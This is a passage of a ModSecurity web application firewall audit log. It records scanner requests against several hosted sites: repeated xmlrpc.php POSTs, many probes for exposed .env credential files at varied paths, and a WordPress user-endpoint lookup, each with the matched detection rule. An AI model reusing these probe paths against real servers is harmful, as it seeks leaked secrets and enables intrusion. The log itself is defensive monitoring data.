p1=392, p2=1454, p3=0, p4=0, p5=110, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cade0f0f-Z-- --1284355d-A-- [16/Jun/2025:07:28:32.692075 +0530] aE96R4kQyF8-ounHsxsJWgAAAA8 128.199.112.101 49016 127.0.0.1 7081 --1284355d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1284355d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1284355d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE96R4kQyF8-ounHsxsJWgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039111778183 913970 (- - -) Stopwatch2: 1750039111778183 913970; combined=2202, p1=382, p2=1411, p3=50, p4=60, p5=185, sr=113, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1284355d-Z-- --d2fe7d0c-A-- [16/Jun/2025:07:28:52.697389 +0530] aE96W2CnKbldJKSM7awbhgAAAAc 185.177.72.210 51802 127.0.0.1 7081 --d2fe7d0c-B-- GET /:8000/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d2fe7d0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e70c79abe5f27366c7a1a47a2de4339a1750039132; expires=Mon, 16 Jun 2025 02:58:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d2fe7d0c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/src/.env"] [unique_id "aE96W2CnKbldJKSM7awbhgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039131966680 730773 (- - -) Stopwatch2: 1750039131966680 730773; combined=2070, p1=420, p2=1554, p3=0, p4=0, p5=95, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d2fe7d0c-Z-- --3c5d0327-A-- [16/Jun/2025:07:29:01.745048 +0530] aE96ZeMjvy_LHXlMeRAWFQAAAAU 185.177.72.210 33056 127.0.0.1 7081 --3c5d0327-B-- GET /old/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3c5d0327-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c1ae80a159e0643bc99ecd7bad5025b1750039141; expires=Mon, 16 Jun 2025 02:59:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3c5d0327-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.example"] [unique_id "aE96ZeMjvy_LHXlMeRAWFQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039141025447 719685 (- - -) Stopwatch2: 1750039141025447 719685; combined=1730, p1=389, p2=1235, p3=0, p4=0, p5=106, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c5d0327-Z-- --807f0809-A-- [16/Jun/2025:07:29:02.867955 +0530] aE96ZqxeElCXJmT2WQvx6gAAAAk 185.177.72.210 33134 127.0.0.1 7081 --807f0809-B-- GET /windows/tests/9.3.x/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --807f0809-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=30ab8d70fd089a9687b13fc59981543f1750039142; expires=Mon, 16 Jun 2025 02:59:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --807f0809-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/windows/tests/9.3.x/.env"] [unique_id "aE96ZqxeElCXJmT2WQvx6gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039142081004 787030 (- - -) Stopwatch2: 1750039142081004 787030; combined=2009, p1=452, p2=1440, p3=0, p4=0, p5=116, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --807f0809-Z-- --2cfedd06-A-- [16/Jun/2025:07:29:32.956859 +0530] aE96hAS4XDlCv3KXioQIpQAAAAY 128.199.112.101 49226 127.0.0.1 7081 --2cfedd06-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2cfedd06-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2cfedd06-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE96hAS4XDlCv3KXioQIpQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039172022890 934042 (- - -) Stopwatch2: 1750039172022890 934042; combined=2451, p1=490, p2=1540, p3=68, p4=57, p5=194, sr=129, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cfedd06-Z-- --2c478526-A-- [16/Jun/2025:07:29:34.368586 +0530] aE96hQS4XDlCv3KXioQIpgAAAAY 185.177.72.210 49426 127.0.0.1 7081 --2c478526-B-- GET /qwertypoiu.printer HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c478526-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=468e715f647566a0efc8fd91474d1ad01750039174; expires=Mon, 16 Jun 2025 02:59:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c478526-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".printer"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".printer"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/qwertypoiu.printer"] [unique_id "aE96hQS4XDlCv3KXioQIpgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039173718505 650167 (- - -) Stopwatch2: 1750039173718505 650167; combined=2348, p1=393, p2=1846, p3=0, p4=0, p5=109, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c478526-Z-- --474a5e2b-A-- [16/Jun/2025:07:30:30.631064 +0530] aE96vavO5IZc5ZzLe_3ocwAAAAA 185.177.72.210 42436 127.0.0.1 7081 --474a5e2b-B-- GET /:8880/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --474a5e2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b85979ed87197f882b1728afad3a29561750039230; expires=Mon, 16 Jun 2025 03:00:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --474a5e2b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/umgebung/.env"] [unique_id "aE96vavO5IZc5ZzLe_3ocwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039229818440 812686 (- - -) Stopwatch2: 1750039229818440 812686; combined=2162, p1=511, p2=1551, p3=0, p4=0, p5=99, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --474a5e2b-Z-- --d24d9a56-A-- [16/Jun/2025:07:30:33.071376 +0530] aE96wAS4XDlCv3KXioQIwAAAAAY 128.199.112.101 42530 127.0.0.1 7081 --d24d9a56-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d24d9a56-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d24d9a56-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE96wAS4XDlCv3KXioQIwAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039232142873 928557 (- - -) Stopwatch2: 1750039232142873 928557; combined=2577, p1=468, p2=1745, p3=41, p4=59, p5=163, sr=124, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d24d9a56-Z-- --95cb535a-A-- [16/Jun/2025:07:30:33.329735 +0530] aE96wOMjvy_LHXlMeRAWOgAAAAU 185.177.72.210 42550 127.0.0.1 7081 --95cb535a-B-- GET /:8443/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --95cb535a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b53ec06ff9ab79ce01b875b7221d3ec21750039233; expires=Mon, 16 Jun 2025 03:00:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --95cb535a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/wp-admin/.env"] [unique_id "aE96wOMjvy_LHXlMeRAWOgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039232563032 766765 (- - -) Stopwatch2: 1750039232563032 766765; combined=1981, p1=383, p2=1501, p3=0, p4=0, p5=96, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95cb535a-Z-- --8e41a076-A-- [16/Jun/2025:07:30:39.488254 +0530] aE96xmCnKbldJKSM7awbuAAAAAc 185.177.72.210 42832 127.0.0.1 7081 --8e41a076-B-- GET /resources/docker/phpmyadmin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8e41a076-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a62dd4be26cdd14d630ee176c562f9b91750039239; expires=Mon, 16 Jun 2025 03:00:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8e41a076-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/resources/docker/phpmyadmin/.env"] [unique_id "aE96xmCnKbldJKSM7awbuAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039238817183 671159 (- - -) Stopwatch2: 1750039238817183 671159; combined=1967, p1=403, p2=1426, p3=0, p4=0, p5=137, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e41a076-Z-- --16236e4a-A-- [16/Jun/2025:07:31:01.295577 +0530] aE963IkQyF8-ounHsxsJqQAAAA8 185.177.72.210 56268 127.0.0.1 7081 --16236e4a-B-- GET /:8008/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16236e4a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=96cf5f141a4f6d5bbfe078d53f183c681750039261; expires=Mon, 16 Jun 2025 03:01:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16236e4a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/front/.env"] [unique_id "aE963IkQyF8-ounHsxsJqQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039260633748 661902 (- - -) Stopwatch2: 1750039260633748 661902; combined=1910, p1=361, p2=1448, p3=0, p4=0, p5=101, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16236e4a-Z-- --9e3b006f-A-- [16/Jun/2025:07:31:02.369011 +0530] aE963eMjvy_LHXlMeRAWTgAAAAU 185.177.72.210 56390 127.0.0.1 7081 --9e3b006f-B-- GET /test/fixtures/app_types/node/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e3b006f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7ef5ff0983d63070a07d3d9d1adab8921750039262; expires=Mon, 16 Jun 2025 03:01:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9e3b006f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/fixtures/app_types/node/.env"] [unique_id "aE963eMjvy_LHXlMeRAWTgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039261626262 742813 (- - -) Stopwatch2: 1750039261626262 742813; combined=2174, p1=396, p2=1683, p3=0, p4=0, p5=94, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e3b006f-Z-- --a148470e-A-- [16/Jun/2025:07:31:10.718537 +0530] aE965roFnONBt7jRcByYgwAAAA4 185.177.72.210 33148 127.0.0.1 7081 --a148470e-B-- GET /challenges/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a148470e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=71fb6f3250be1d8e4283d15baa24f5751750039270; expires=Mon, 16 Jun 2025 03:01:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a148470e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/challenges/.env"] [unique_id "aE965roFnONBt7jRcByYgwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039270082745 635857 (- - -) Stopwatch2: 1750039270082745 635857; combined=1929, p1=372, p2=1455, p3=0, p4=0, p5=101, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a148470e-Z-- --47832217-A-- [16/Jun/2025:07:31:12.145763 +0530] aE966IkQyF8-ounHsxsJsgAAAA8 20.171.207.119 33234 127.0.0.1 7081 --47832217-B-- GET /wp-json/wp/v2/users/1 HTTP/1.0 Host: www.thebrandwagon.in X-Real-IP: 20.171.207.119 X-Accel-Internal: /internal-nginx-static-location Connection: close x-openai-host-hash: 258089732 accept: */* from: gptbot(at)openai.com user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot) accept-encoding: gzip, br, deflate cookie: _sfs_id=7a6cfaf095742080e1511cfcc52782171750039250 --47832217-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.thebrandwagon.in/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 